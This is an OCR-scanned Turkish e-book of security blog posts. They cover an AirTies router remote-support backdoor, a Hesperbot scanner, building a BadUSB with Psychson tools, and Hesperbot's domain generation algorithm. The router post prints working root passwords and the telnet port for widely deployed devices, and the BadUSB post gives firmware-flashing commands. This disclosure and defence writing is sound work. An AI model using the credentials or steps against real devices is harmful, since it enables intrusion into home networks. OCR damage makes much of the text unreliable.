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Merhabalar,

2009 yiinda "Bigi glictir ve paylagidikca ariar mofosuyla olusturdugum siber glveniik blogumda (hips:/fwww merizarica.com) , bilgi gliveniidi farkindabdin ararma adina cok sayda teknik yazya yer vermeye caksim, Yilar icinde
Tiirkiye'nin dért bir yanindan akdigim clumiu geri dénigler sonucunda, yazdanmi yillar baznda e-kiap olarak derlemeye ve merakilan il paylasmaya karar verdim,

Emek, zaman ve kaynak ayirarak yapadm aragirmalar senucunda yazdidim bu yazlann, siber gliveniik alaninda kendini geligirmek izteyenler icin umanm faydah clur.
Yeni yaziaria gérismek diediyle...
Saygilanmia,
Mert SARICA
Siber Glvenik Uzmam

hips:fwww.mertsarica.com
hiips:Mwier commertsarica

Air6372S0 Varsayilan Hesap Dogrulamasi

Source: https://www.mertsarica.com/air6372so-varsayilan-hesap-dogrulamasi/
By M.S on December 1st, 2014
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15 Kasim Cumartesi sabah1 uykulu gézlerle génderilen tweetlere bakarken Gokmen GURESCI'nin "Airties arka kapisini dogrulayabilen
oldu mu? Hangi modeller etkileniyor? Ben heniiz dogrulayamadim " tweeti ile karsilastim. Gokmen'e iddianin kaynagint sordugumda
bana Hacker Fantastic Twitter hesabindan atilan agagidaki tweeti gosterdi.
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Turkish friends, if you have a Airties
DSL router - you can telnet to port
2323 and login with “root” /
"dsl_2012_Air" ) Hack the planet.
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Bu iddiay1 dogrulamak i¢in, IstSec konferansinda yaptigim donanim yazilimi analizi sunumuna hazirlanmak i¢in zamaninda satin
almig oldugum Airties RT-206v4 modeline hizlica g6z atmaya karar verdim. Nmap ile modemin baglanti noktalarini (1-65535) kontrol
ettigimde, modemin 2323 baglanti noktasini dinlemedigini gérdiim. Bu durum, bahsedilen varsayilan hesabin sadece belli modellerde
gegerli oldugunu ortaya koyuyordu. Elimde bagka bir model olmadig: i¢in donanim yazilimini statik olarak analiz etmek igin ise
koyuldum.

Airties'ln web sitesinde yer alan ¢ogu kablosuz modemin donanim yazilimini indirdikten sonra donanim yazilim analizi i¢in bigilmis
kaftan olan ve Kali isletim sistemi ile gelen binwalk arac1 ile donanim yazilimlarini bu araca toplu bir sekilde analiz ettirmeye bagladim.


https://www.mertsarica.com
https://www.mertsarica.com/air6372so-varsayilan-hesap-dogrulamasi/
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https://twitter.com/gokmenguresci/status/533536769569206272
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http://www.istsec.org/
http://www.airties.com.tr/support/dcenter/?dil=tr
http://binwalk.org/
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Applications Places : Thu Nov 20, 1:15 PM
root@kali: ~/Desktop/Airties

File Edit Wiew Search Terminal Help
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= root@kali: ~/Desktop/... [root@kali: ~/Desktop... ® Airties

Bilmeyenler icin binwalk aracindan kisaca bahsetmek gerekirse, bu arag belirtilen donanim yazilimini otomatik olarak analiz
ederek eger sikistirilmig (compressed) ise oncelikle acarak icindeki dosyalari, dosya sistemi hiyerarsisine uygun olarak ilgili
klasére kopyalamaktadw. Siz de daha sonra kopyalanan bu dosyalart teker teker inceleyerek donanim yazilimi i¢inde yer alan
yazilimlar, metin belgeleri hakkinda fikir sahibi olabilir, konfigiirasyon dosyalarini kolaylikla inceleyebilirsiniz.

binkwalk aracina -e parametresi ile tim donanim yazilimlarimi (*.bin) analiz ettirdikten sonra teker teker her bir agilan klasoriin igine
bakmak yerine 2323 baglant1 noktasini tim *extracted* gecen (binwalk actigi donanim yazilimlarini bu sekilde isimlendiriyor) klasor
isimleri iginde grep araci ile aramaya basladim.



root@kali: ~/Desktop/Airties

File Edit Wiew Search Terminal Help

Grep aracinin ¢iktisina gore bu varsayilan hesabin tek bir model i¢in yani Air6372S0 igin gegerli oldugu oldugu goriilityordu.

config.xml dosyasi i¢inde password kelimesini arattigimda ise iddia edilenden farkli olan SoL._FiBeR 1357 sifresi hemen dikkatimi
¢ekti. Bu dosyaya metin edit6rii ile baktigimda ise bunun root sifresi oldugunu gordiim. (Airties'in web sitesinde bu model igin yer alan
donanim yazilimi, Superonline i¢in ayrica gelistirildigi icin muhtemelen sifre farklr)

s Places r

root@kali: ~/Desktop/-AirTies_Air637250_FW_1.0.0.41.bin.extracted/squashfs-root/etc

File Edit View Search Terminal Help
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Applications Places r

root@kali: ~/Desktop/-AirTies_Air637250_FW_1.0.0.41.bin.extracted/squashfs-root/etc
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3] root@kali: - root@kali: ~/Desktop/...

Applications Places r Mon Nov 17, 6:32 AM

root@kali: ~/Desktop/-AirTies_Air637250_FW_1.0.0.41.bin.extracted/squashfs-root/etc

File Edit View Search Terminal Help
GNU nano 2.2.6

File: config.xml
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root@kali: ~/Desktop/-AirTies_Air637250_FW_1.0.0.41.bin.extracted/squashfs-root/etc
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Tabii bende bu marka ve model modem olmadigi i¢in bu kullanict adi ve sifrenin dogru olup olmadigini teyit etmek i¢in hemen bir tweet
gondererek takipgilerimden yardim istedim ve ¢ok gegmeden hard ress Twitter hesabindan bu kullanict adi ve sifre ile modeme telnet

GNU nano 2.2.6

File: config.xml

lizerinden baglanilabilindigi bilgisi geldi.

Aslinda bunun gibi uzaktan destek amaciyla modemlere, ag cihazlarina tanimlanan hesaplara ara ara rastlanmakta ve giivenlik
aragtirmacilari tarafindan bunlar ortaya ¢ikarilmaktadir. Bunlarin ortaya ¢ikarilmasinin kullanicilar agisindan en 6nemli kismi ise, kotiiye
kullanilabilecek bu sifrelerin en kisa siirede degistirilebilmesi veya hesaplarin devre dis1 birakilabilmesidir. Bende bunun igin iki sifre
ile ilgili olarak hemen Netsec e-posta listesine konu ile ilgili bir e-posta gondermeye karar verdim. E-postay1 gonderdikten kisa bir siire
sonra ise Necati ERSEN SISECI'den gelen e-posta beni oldukga sasirttr. Necati génderdigi e-postada bu durumu Ocak 2014'de tespit
ettigini ve Superonline ile paylagtigini belirtiyordu (neden Airties degil de Superonline diye soracak olursaniz bunun sebebi bu donanim
yazilimmin Airties firmasi tarafindan Superonline i¢in gelistirilmis olmasi) fakat aradan gecen 9 ayda bu konu ile olarak ilgili donanim

yaziliminda hala bir diizeltme yapilmamuisti.

%

Bu tiir durumlarda art niyetli kisiler, modemlere uzaktan zararli yazilim yiikleme veya kullanicilar1 zararl sitelere yonlendirme
girisiminde bulunabilirler dolayisiyla internet servis saglayicist ve tiretici firma tarafindan bu tiir zafiyetlerin en kisa siirede ortadan

N. Ersen SISECI via netsectr.org 10:34 PM (15 hours ago) -
to liste [+

Turkish = English~  Translate message Turn off for: Turkish
Merhaba,

Her iki parolayr da 23 Ocak'da StperOnline'a bildirmistim. Uzaktan telnet ile veya root kullanict adi ve parolasi ile web
arayizinden de girilebiliyor.

Ben bildirdidim zaman 637230 igin 1.0.0.49 alan strim sahada kullaniliyardu. ik paralayr kendi mademimin yedegini alp,
icerisinden gikartrrigtirn. lkinci parolay ise, Firrmware Mod Kit ile gikartrigtim. Her iki yontemi de SuperOnline'a detaylica
anlatan bir mail atrmistim.

SuperOnline, AirTies dan yeni firrmware istemisti. AirTies, 1.0.0.52 sdrdmind gikard) ve bu sirimde, (baseBd ile encode
edilmig yedekten root gifresi cikartilamasin dive saninm) yedek alma dzelii kapatild). Bu strimde yedek alinariyor. Bu
sirim ile sahadaki bir gok cihaz gincellendi ancak halen daha aym parolalarla girilebiliyordu. Saninm gu an hala en gincel
sirdm 1.0.0.52.

Defalarca SiperOnline ile maillestim ancak sonug ortada. 9 ay oldu.

Umanm bir an dnce sahadaki cihazlan gincellerler.

Ek bilgi: root kullamicist ile web arayinden girildiginde bile mend de olmayan ama TROBY mendsine http:/AModemlPAdresi/
management/069. htrnl adresinden ulagilabilirsiniz.

Iyi geceler.

Necati Ersen SISECI

16 Kasim 2014 17:53 tarihinde Mert SARICA <mert. sarica@grmail.coms> yazd:

kaldirilmasi gerekmektedir.

Air6372S0 modelini Shodan tizerinde arattigimda ise modem sayisinin hi¢ de azzimsanmayacak kadar ¢ok oldugunu (10000+) goérdiim.
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Onlem olarak bu marka model modem kullanan kullanicilara acil olarak port 2323 iizerinden bu sifreler ile modemlerine baglanip
baglanamadiklarini kontrol edip root sifrelerini degistirmeleri gerekmektedir.

Bu hesabin internet servis saglayicisi ve tiretici firma isbirligi ile en kisa siirede donanim yazilimlarindan kaldirilmasi dilegiyle 2014
yilinin bu son yazisi ile 2015 yilinin herkese dnce saglik sonra mutluluk getirmesini dilerim.

Hesperbot Tarayicisi

Source: https://www.mertsarica.com/hesperbot-tarayicisi/
By M.S on November 7th, 2014
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Bildiginiz gibi son 1.5 senedir vatandasimiz, Hesperbot adindaki ileri seviye internet bankacilig1 zararli yazilimi salgini (#1, #2, #3) ile
bogusmaktadir. Ozellikle her yeni salginda siber dolandiricilarin, Hesperbot zararli yaziliminin imza tabanli antiviriis ve benzer giivenlik
yazilimlar1 ve teknolojileri tarafindan tespit edilememesi adina yapmis olduklari gelistirmeler ve buna ilaveten bu salgimnlar ile ilgili
olarak yazili ve gorsel medyada yapilan haberlerin sayica yetersiz olusu, her yeni salginda daha fazla vatandagimizin magdur olmasina
sebebiyet vermektedir. Hesperbot lizerinde fazlasiyla mesai yapmis bir siber giivenlik uzmani olarak, elde ettigim bilgiler 1s1ginda daha
az vatandasimizin magdur olmasi adina sistem tizerinde Hesperbot zararli yazilimimin ¢alisip ¢alismadigini kontrol eden, Hesperbot
Tarayicist adinda basit ama etkili bir yardimer arag hazirlamaya karar verdim. (Bu ara¢ ayrica siber giivenlik uzmanlari, adli bilisim
uzmanlari, zararli yazilim analistleri ve bilgisayar olaylar1 miidahale ekipleri tarafindan da kullanilabilir.)

Bu arag ¢alistirildig1 anda bellek (RAM) iizerinde Hesperbot zararli yazilimina ait parmak izi aramakta ve kullaniciya tarama sonuna
dair olumlu veya olumsuz bilgi vermektedir.

Araci iki sekilde kullanabilirsiniz;
1. hesperbot_scanner.exe aracini Hesperbot zararli yaziliminin bulasti§indan siiphe ettiginiz sistem {izerinde ¢alistirabilirsiniz.

2. hesperbot_scanner.exe [internet bankaciligi adresi] seklinde ¢aligtirarak aracin belirttiginiz bankanin internet bankaciligt web sayfasini
otomatik olarak agmasini, Hesperbot devreye girene kadar bir dakika boyunca beklemesini (devreye girmeme ihtimaline karsi) ve
ardindan bellegi taramasini saglayabilirsiniz.


https://www.mertsarica.com/hesperbot-tarayicisi/
https://www.mertsarica.com/hesperbot-tarayicisi/
https://www.mertsarica.com/seytan-ayrintida-gizlidir/
https://www.bilgiguvenligi.gov.tr/siniflandirilmamis/hesperbot-defref-saldirilari-geliserek-devam-ediyor.html
http://www.welivesecurity.com/wp-content/uploads/2013/09/Hesperbot_Whitepaper.pdf

C:\Documents and Settings\Administrator\Desktopihesperbot_scanner.exe

Heszperhot Tarayici vi.B

[#*] Hesperbot parmak izi bellekte araniyor..
[#] Sisteminizde Hesperbot zararli yazilimi tespit edildit
[#]1 Tarama tamamlandi. ¢ikis icin herhangi bir tusa bhasiniz.

C:A\WINDOWS\system32\cmd.exe - hesperbot_scanner.exe http

Hezperhbot Tarayici vi.B [http:/ /s www.mertsarica.com]

Belirtilen adres zivaret edilerek Hezperhbot’un devreye girmesi heklenecek:
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68 saniyve bhekleniyor...

Hesperhot parmak izi bellekte araniyor...

Sisteminizde Hesperhot zararli yazilimi tespit edildi?t

Tarama tamamlandi, ¢ikisz i¢in herhangi bir tusa basiniz.

Hesperbot gelistiricilerinin ekmegine yag siirmemek i¢in (biraz da onlar ugragsinlar :)) kaynak kodunu paylagsmadigim Hesperbot
Tarayicisini buradan indirebilirsiniz.

Hesperbot Scanner araci, 6 Kasim 2014 tarihinde baslayan Hesperbot salgininda gonderilen zararli yazilim 6rnegi lizerinde ¢aligtirilmis
ve basartyla Hesperbot bulagmisg sistemi tespit edebildigi teyit edilmistir.
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erbot parmak hellekte araniyor.
[#] Sisteminizde Hesperbot zararla ya"111m1 te“plt edildit
Ml[*] Tarama tamamlandi. ¢ikisg igin herhangi bir tuga basiniz.
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Aracin kullanimi i¢in agagidaki videoyu asagidan izleyebilirsiniz.
Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.
---- ENGLISH ----

Hesperbot is an advanced internet banking trojan which is widespread (since 1.5 years) in Turkey. Hesperbot has keystroke logging,
screenshots and video capture, hidden VNC server, network traffic interception and HTML injection capabilities. (For more information,
I suggest readers to take a look at Eset's great Hesperbot report.)

In every new Hesperbot campaign, bad guys release Hesperbot with new signatures therefore traditional security softwares/systems
could not be able to detect it at the beginning of the campaigns so this situation forced me to code a tiny tool called Hesperbot Scanner.
This tool is able to detect Hesperbot by searching memory for Hesperbot fingerprint. This tool is prepared for end users and for security
professionals working in the information security, computer forensics, incident response and malware analysis fields.

Usage of Hesperbot Scanner is pretty simple, just run it on the infected/suspected system and check the result.

Click here to download Hesperbot Scanner

3
3 3 fected with Hesperbot?
mpleted press any key to exit.

V) start

Regards,
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Bad, Bad USB

Source: https://www.mertsarica.com/bad-bad-usb/
By M.S on November 3rd, 2014
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Her y1l, Agustos ayinda, ABD'nin Las Vegas kentinde diizenlenen geleneksel Black Hat Bilgi Giivenligi Konferansi'nin sonuncusunda,
Karsten NOHL ve Jakob LELL adindaki iki aragtirmaci, BadUSB adinda dikkat ¢ekici bir sunuma imza atti.

Bu sunumda kisaca, USB'de yer alan mikrodenetleyici tarafindan kullanilan donanim yazilimmnin (firmware) yamalanarak (patch)
beklenenden farkli bir sekilde ¢aligmasi (hedef sistem tizerinde komut ¢alistirma gibi) saglanmis. Bunun i¢in arastirmacilar 6ncelikle bu
mikrodenetleyici tarafindan kullanilan donanim yazilimini temin etmisler ardindan Wireshark yardimi ile donanim yazilimi giincellemesi
esnasinda kullanilan komutlar1 tespit etmisler. Daha sonra 2 aydan kisa bir siire iginde donanim yazilimini tersine mithendislik ile analiz
ederek, orjinal donanim yaziliminda yer alan ve kullanilmayan alanlara kendi komutlarini yiikleyerek (notepad ag, sunu yaz, x sitesinden
su zararli yazilim1 indir ve ¢alistir gibi) yeni bir donanim yazilimi olusturup bunu USB bellege yiikleyip, islemi tamamlamiglar. Bundan
sonra hedef sisteme takilan USB bellek, veri depolamanin haricinde kullanicinin donanim yazilimi ile bellege yiiklemis oldugu komutlar1
calistirarak sistem ile etkilesime gecebilmis.

Peki bunun daha once iizerine yazi yazdigim ve yine hedef sistem iizerinde USB baglanti noktasindan takildig: taktirde komut
calistirmaya imkan taniyan Teensy'den veya USB Rubber Ducky'den ne farki var ? Pratikte pek bir farki bulunmuyor. BadUSB ile
gerceklestirilen sosyal miihendislik testlerinde digerlerine kiyasla hem sistemsel hem de goriintii itibariyle yakalanma/tespit edilme
olasilig1 gorece biraz daha diisiik olabiliyor. Maliyet agisindan da bakacak olursak, BadUSB'nin 20$'lik Teensy'den, 40$'lik Rubber
Ducky'den daha ucuza mal edilebilecegini gorebilirsiniz.

BadUSB ile ilgili calistirma yapan arastirmacilarin web sitesini ziyaret edecek olursaniz bu calismaya ait POC (proof-of-concept)
kodlarin1 yaymlamadiklarini gorebilirsiniz. Benim gibi ben de bir BadUSB olusturmak istiyorum diyenlerin iiziilmesine gerek yok ¢iinkii
Adam Caudill ve Brandon Wilson adindaki iki giivenlik arastirmacisi da benzer bir ¢aligma yaparak bunu Eyliil ayinin sonlarina dogru
DerbyCon isimli Bilgi Giivenligi Konferansi'nda sundular ve arastirma esnasinda gelistirdikleri araclarin1 da kaynak kodlar ile birlikte
GitHub'a yiiklediler.

Sunum dosyasina ve kodlara baktiktan sonra ben de bir BadUSB olusturmak i¢in ise koyuldum. Arastirmacilarin kullandigi Phison
marka mikrodenetleyiciye sahip Patriot marka Xpress model USB bellek Tiirkiye'de olmadig1 i¢in Amazon'dan siparis ettim.

Sunum dosyasina bakacak olursamiz arastirmaciarin Phison'un PS2251-03 modeli tizerinde ¢alistiklarini gérebilirsiniz
dolayisiyla gelistirmis olduklar: aracin ¢alisabilmesi i¢in kullanilacak olan USB bellegin bu model mikrodenetgiye sahip olmasi
gerekmektedir.

USB bellek geldikten sonra Phison'un modelini GetInfo araci (veya Chip Easy aracini da kullanabilirsiniz) ile kontrol ettigimde modelin
farkli olmasi nedeniyle hiisrana ugradim ve bu defa Phison marka PS2251-03 model USB bellek avina giktim.



https://www.mertsarica.com/bad-bad-usb/
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https://www.blackhat.com/
https://www.blackhat.com/us-14/briefings.html
https://www.mertsarica.com/ufacik-tefecik-ici-dolu-teensycik/
https://www.mertsarica.com/ufacik-tefecik-ici-dolu-teensycik/
http://hakshop.myshopify.com/products/usb-rubber-ducky-deluxe?variant=353378649
https://srlabs.de/badusb/
https://www.derbycon.com/
http://www.slideshare.net/adam_caudill/derby-con2014presentation
https://github.com/adamcaudill/Psychson
http://www.amazon.com/gp/product/B005EWB15W/ref=oh_aui_detailpage_o00_?ie=UTF8&psc=1
http://www.usbdev.ru/files/phison/
http://flashboot.ru/files/file/361/
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Benim gibi diinyada bir¢ok kullanicinin ava ¢ikmasi ve arastirmacilara geri bildirimde bulunmalar1 sayesinde arastirmacilar, BadUSB
olma potansiyeline sahip USB bellekleri bir listede toplamaya karar vermisler. Bu listeyi ara ara kontrol ederken, tesadiifen Teknosa'da
gezerken gordiigiim Sandisk Ultra 16 GB USB bellegi (SDCZ48-016G-U46) satin almaya (24 TL) ve modeline bakmaya karar verdim.
Biiyiik bir hevesle paketini agip, GetInfo araci ile baktigimda Phison'un modelinin desteklenen model yani PS2251-03 oldugunu
gordiikten sonra GitHub sayfasinda yer alan BadUSB yaratma adimlarina gectim.
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https://github.com/adamcaudill/Psychson/wiki/Known-Supported-Devices
https://github.com/adamcaudill/Psychson/blob/master/README.md

% Getlnfo ¥3.10.1.2 C:\Documents and Settings\M dministrator\Desktoplsandisk.enc

Drrive E Laad File Read

Infarmation | Parition seting|| Other

Cusztomize [nfo Firrnware Info.
WD |a7et PID 5581 ICVersion | 225103 Mode 3
HID WD M HID FID M Pufderion  |01.08.53 Fw Date 20130716
String Manufacture Mame | SanDisk AES HAA Max_HOA
String Product Mame SanDizk Ulra IEEE 1667 DVD+RwW
Inquiry b anufacture Mame | SanDisk FC1-FC2 |FF - m Sample Lock
Inauiry Product Name SanDisk Ultra USE Pott |20
Inquiry Fevision PMAP

Flash Info.
Smart Card Info. = Flash Wendor | SanDisk Flash Type |TLC
CCID VD [NAA CCID PID | MAA

Flash ID 45 4c a8 92 76 57 Ob 00

CCID Interface String
Fraoduction Info.

MP Yer. MPALL v3.70.0E
Production D ate & Time 20131113 5:42

Interface

Senal Humber | AZ003BD52403E 776

Adimlardan birinde yaptigim dikkatsizlikten dolay1 aldigim bu diski ¢ope atmak zorunda kaldim :) Ardindan bu defa biraz daha temkinli
davranarak iki tane daha Sandisk Ultra aldim ve yine bir dikkatsizlik sonucunda disklerinden birini daha ¢ope atmak zorunda kaldim.
Allah'in hakki iictiir diyerek BadUSB olusturma adimlarini dikkatlice devam etmeye karar verdim. Donanim yazilimini derledikten
sonra sira Ruby Ducky formatinda bir komut kiimesi olusturmaya geldiginde, Duckencoder araci ile, ¢alistir (run) -> notepad -> Mert
SARICA yazan basit bir komut kiimesi olusturdum. (ReadMe dosyasinda yer alan Running Demo 1 (HID Payload) baslig1 altinda
yazilanlar1 yaptim.)

CAWindows\system32\cmd.exe

icrosoft Windows [Version 6.3.76881
c> 2813 Microsoft Corporation. All rights reserved.

:sUserssMert>cd C:isBadUSBsPsychson—mastersfirmeare

:»BadUSBuPsychson—mastersf irmware *bhuild.bat
Building main.c...
timers.c...
ush.c...
control.c...
warning 116: right shifting more than size of object changed to zer

Building scsi.c...

cs:i.].)c :188: warning 85: in function HandleCDB unreferenced local variable : ‘i’
one.
B bin - O
“ Home Share View 0
(\(-\' * 4 <« BadUSBE » Psychson-master » firmware » bin v & Search bin o
r v Favorites " Name < Date modified Type Size L
B Desktop B control.Ist MASM Listing 53KB
& Downloads |_| control.rel REL File 10 KB
=l Recent places || control.rst RS 1:Eile askB 5 k‘
|| control.sym SYM File 40 KB =
& OneDrive | fw.bin 014 21:45 BIM File 201 KB
. L main.asm 014 21:45 Assembler Source 107 KB
) & Homegroup B main.ist 5 VASM Listing 460 KB
-~ | main.rel REL File 51KB
w This PC | main.rst RST File 460 KB
m Desktop L| main.sym SYM File A1 KB
‘| Documents b || output.bin BIM File 13KB v
32items 1 item selected 201 KB
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https://code.google.com/p/ducky-decode/downloads/detail?name=DuckEncoder_2.6.3.zip&can=2&q=
https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---hello-world
https://github.com/adamcaudill/Psychson/blob/master/README.md

key.txt - Notepad SRE

File Edit Format View Help

DELAY 3eee

GUI r

DELAY 588
| | STRING notepad

DELAY 588

ENTER

DELAY 756

STRING Mert SARICA

ENTER

= CA\Windows\system32\cmd.exe = i

:»BadUSBxDuckEncoder_2 .6 .3%DuckEncoder_2_6_3>java —jar encoder.jar —i key.txt —
inject.bhin
aks Duck Encoder 2.6.3

oading File
oading Keyboard File

oading Language File .
oading DuckyScript .
DuckyScript Complete.

:»BadUSB~DuckEncoder_2 .6 .3%DuckEncoder_2_6_3>_

Sonunda asagidaki tiim adimlar1 basariyla gectikten sonra BadUSB olusturmay1 basardim :) Sandisk'in Ultra modelinde ne yazik ki
donanim yazilimi bir defa giincelleme sansiniz oluyor dolayisiyla tek simdilik tek atiglik bir hakkiniz var fakat bu konuda ¢alismalar
devam ediyor dolayisiyla elinizin altinda sosyal mithendislik testlerinde kullanmak iizere bir tane bu marka model USB bulundurmaniz
faydali olabilir.

o | CAWindows\system32\cmd.exe = el

:»BadUSB~Pzychson—masterstools >DriveCom.exe sdrive=F raction=SetBootMode
Action specified: SetBootMode

:\BadUSB~Pzychson—masterstools >DriveCom.exe sdrive=F raction=SendExecutable ~bu
rner=BNA3U1A4H.BIN
Action specified: SendExecutable

:»BadUSB~Pzychson—masterstools >DriveCom.exe sdrive=F raction=DumpFirmware ~firm
uare =dump.bin
Action specified: DumpFirnware

:~BadUSB~Psychson—masterstools>DriveCom.exe ~drive=F saction=GetInfo
Action specified: GetInfo

athering information...

eported chip type: 2382

eported chip ID: 45-4C-A8-92-76-57

eported firmware version: 1.681.18
Mode = Burner

:\BadUSB~Pzychson—masterstools >EmbedPayload.exe inject.bin fw.hin

:“BadUSB~Pzychson—masterstools >DriveCom.exe ~sdrive=F raction=SendFirmware ~burn
er=BNB3U184M.BIN ~firmware=fw.hin

athering information...

eported chip type: 2382

eported chip ID: 45-4C-A8-922-76-57
pare version: 1.81.18

Burn
[Rebooting. ..
Lending firmware...
Executing. ..

ode : Firmware

Peki kurum olarak BadUSB'ye karst hangi oOnlemleri alabiliriz diye soracak olursaniz, kurum genelinde USB kullanimini
yasaklayabilirsiniz. Bu miimkiin degil ise de sadece IronKey gibi donanim yazilimi giincellemesine karsi imza kontrolii yapan iirtinleri
kurum genelinde kullanmay1 tercih edebilirsiniz.

Bir sonraki yazida goriigmek dilegiyle herkese giivenli giinler dilerim.

Not: BadUSB'ye doniistiiriilmiis USB ile ilgili hazirlamis oldugum videoyu asagidan izleyebilirsiniz.

Hesperbot DGA Analizi

Source: https://www.mertsarica.com/hesperbot-dga-analizi/
By M.S on October 1st, 2014

s
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https://github.com/adamcaudill/Psychson/issues/14
http://www.ironkey.com/en-US/solutions/protect-against-badusb.html
https://www.mertsarica.com/hesperbot-dga-analizi/
https://www.mertsarica.com/hesperbot-dga-analizi/

Alan adi iiretme algoritmasi (DGA), zararli yazilimlar tarafindan yeni bir alan ad1 liretmek amaciyla kullanilan algoritmalardir. Zararlt
yazilim gelistiricileri, bu algoritma sayesinde gelistirmis olduklar1 zararli yazilimin haberlestigi komuta kontrol merkezinin sikayet
iizerine ve/veya giivenlik firmalari tarafindan yapilan miidahale iizerine (sinkhole) kapatilmast durumunda tekrar zararli yazilimi kontrol
edebilmektedirler.

How Domain Generation Algorithms (DGA) Work

2. Seedis inputinto DGA, 2 [S)eGeg is i'mul;ﬁ'o’
generating pseudo-random A, generating

domains (e.g. 1000 domains) pseud_&randmn

i domains

(e.g. 1000 domains)

Threat Acto

Malware Infection

Zripohg.com

4

Command & Control

Server )>>

DAMBALLA
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https://www.mertsarica.com/sanal-obruk/

File Edit View Go Capture Analyze Statistics Telq'.!horl’v~ Jools [Internals Help
ceAdms BEEXXR Ae+dT L EF Qaaam Ea®B % B
Filter: l’vp.oddrequ?.ﬂ.ﬂlandip.addreqmnnlllnd(udp.puneqMamEl Expression... Clear Apply Save

No. Time Source Destination Protocol Length Info

31 145.489203127.0.0.2 .0.0.1 Standard query 0x02c9 A
723 218.013488127.0.0.2 127.0.0.1 DNS 77 standard query OxOcfe A kvbgxktzlhyrolzmongwcgheoov. net
583 202.891744 127.0.0.2 127.0.0.1 DNS 72 standard query Ox13e4 A swijdmljofmrskeohzgjnnr.ru
351 178.726997 127.0.0.2 127.0.0.1 DNS 72 standard query 0x17db A abmciduijgifubhqoknktw.info
1227 272.201407 127.0.0.2 127.0.0.1 DNS 77 standard query Oxla9e A upnkflbmkzmbpzhzxtrstdipjei.biz
555 199, 867395 127.0.0.2 127.0.0.1 DNS 76 standard query Oxlbe9 A eahrkeuemimzhainkjmb1jyhon.net
751 221.037837 127.0.0.2 127.0.0.1 DNS 75 standard query Ox1bf8 A qijdegpkzhexygctcuyxnjgeso.ru
485 192. 306523 127.0.0.2 127.0.0.1 DNS 78 standard query Oxleed A vkgymfvshjbxohatgldamknydwpr.com
513 195.330872127.0.0.2 127.0.0.1 DNS 78 standard query Ox2lee A usfugqfbmmrskmfcywkaivvirzpr.com
1423 293.231647 127.0.0.2 127.0.0.1 DNS 74 standard query 0x2293 A agwgqgkukizoznzaufmyxprkmb.ru
1255 275.205727 127.0.0.2 127.0.0.1 DNS 70 standard query Ox249f A xozammrhacmtlhiznfxkh.ru
863 233.115203127.0.0.2 127.0.0.1 DNS 78 standard query Ox26f0 A hywvxgusqscacghycqwkrhmnrorp. info
625 207.428267 127.0.0.2 127.0.0.1 DNS 77 standard query Ox28e0 A ojyhgpndragbagcpeapfzdtucgu.org
891 236.129538127.0.0.2 127.0.0.1 DNS 76 standard query Ox2af2 A ugrcusdibdgquuhehitwldrwbi.net
695 214.989139127.0.0.2 127.0.0.1 DNS 76 standard query Ox2efd A ivhpnjzlhutfedscxwvvovgaq.info
737 219.525663 127.0.0.2 127.0.0.1 DNS 77 standard query 0x2fff A obzpjbrojfhxivskfmvgjnsonvv.biz
267 169.663965 127.0.0.2 127.0.0.1 DNS 76 standard query Ox32de A gqeuibzfwswwjzijinydlhylxg.net
457 189.282175127.0.0.2 127.0.0.1 DNS 76 standard query 0x35d3 A hbeiffydekzjbprwpscpeikbop.biz
1073 255.677647 127.0.0.2 127.0.0.1 DNS 76 standard query 0x3787 A hyggpjusibxvhyvghhxccunjjb. com
989 246.664687 127.0.0.2 127.0.0.1 DNS 72 standard query 0x3789 A vcithyrkdmbmdlbclvgexc.com
1171 266.192767 127.0.0.2 127.0.0.1 DNS 76 standard query 0x3a9c A aqdeufircjvfejbtpzuovkdeazh.ru
231 166.649631127.0.0.2 127.0.0.1 DNS 75 standard query Ox3adc A xgficegmkvwoxkptmjcyrcxwgt.ru
1311 281.214367 127.0.0.2 127.0.0.1 DNS 80 standard query 0x3c9b A hahizprusxwfgqcwczlydswmrphcu. info
1395 290.227327 127.0.0.2 127.0.0.1 DNS 75 standard query 0x3e92 A ffilsolnzthifxzxrkdicujbl.net
597 204.403919127.0.0.2 127.0.0.1 DNS 78 standard query Ox3ee6 A ypcifaxxweaskcisohxkbmjtnbhy.biz
653 210.452616127.0.0.2 127.0.0.1 DNS 77 standard query Ox42e3 A wvgcqrlxgmvetcpvlvbyzhztpjtx.com
877 234.617363127.0.0.2 127.0.0.1 DNS 72 standard query O0x42f1 A twnjtsgqsgxeikzpcyptlif.biz
1339 284.218687 127.0.0.2 127.0.0.1 DNS 66 standard query Ox4c96 A fdxhkjbireylnzhnr.ru
253 168.161805127.0.0.2 127.0.0.1 DNS 76 standard query Ox4ddd A futjniztorctclhhizydifxgby.com
611 205.916093127.0.0.2 127.0.0.1 DNS 78 standard query Oxdfe?7 A xkonfizpgpailjeaytamjnfykbtk.net
541 198.355221127.0.0.2 127.0.0.1 DNS 76 standard query Ox51e8 A jrmrzxgkreymovxozeurwaercp.org
471 190.794349127.0.0.2 127.0.0.1 DNS 78 standard query Ox5led A xgbukvukzdcmoncigybuizpeujr.info
1451 296.245981127.0.0.2 127.0.0.1 DNS 71 standard query Ox52ad A tdlppzpeulfxdmhlvpjpf.net
527 196.843047 127.0.0.2 127.0.0.1 DNS 77 standard query Ox53ef A qoqcaekrlzxqoytuopbdixyvojf.biz
1437 294.733807 127.0.0.2 127.0.0.1 DNS 76 standard query Ox54ac A hqgubuijmbvczhhlntgvcpbukv.biz
1213 270.699247 127.0.0.2 127.0.0.1 DNS 78 standard query 0x569e A ofypozxxppnduovdofaedydqdyuw.org
779 224.062186 127.0.0.2 127.0.0.1 DNS 75 standard query 0x57fb A xojbqczlzwcepnuwhaeeiibip.net
147 157.576584 127.0.0.2 127.0.0.1 DNS 77 standard query 0x59c7 A hqgxgkvxhukwscahaxoldutshylby.ru
69 150.025727 127.0.0.2 127.0.0.1 DNS 77 standard query Ox59ca A xkbagejntccqamijvoxrwwknyld. com
421 186.267840127.0.0.2 127.0.0.1 DNS 75 standard query 0x61d0 A vdiucegwmzhpozsvsorqcinrg.com
1143 263.188447 127.0.0.2 127.0.0.1 DNS 76 standard query Ox6283 A hmeiagprmojskhhyxhikfmvdy. info
295 172.688314 127.0.0.2 127.0.0.1 DNS 78 standard query 0x64d9 A gusofadlfpnlnvexxwirfmagdnr. info
1185 267.694927 127.0.0.2 127.0.0.1 DNS 74 standard query Ox669d A tzxoqsrgtpyxdagauopfpvif.com
835 230.090855127.0.0.2 127.0.0.1 DNS 76 standard query 0x66f7 A amontwfqidinvsowxotdmsggagy.ru
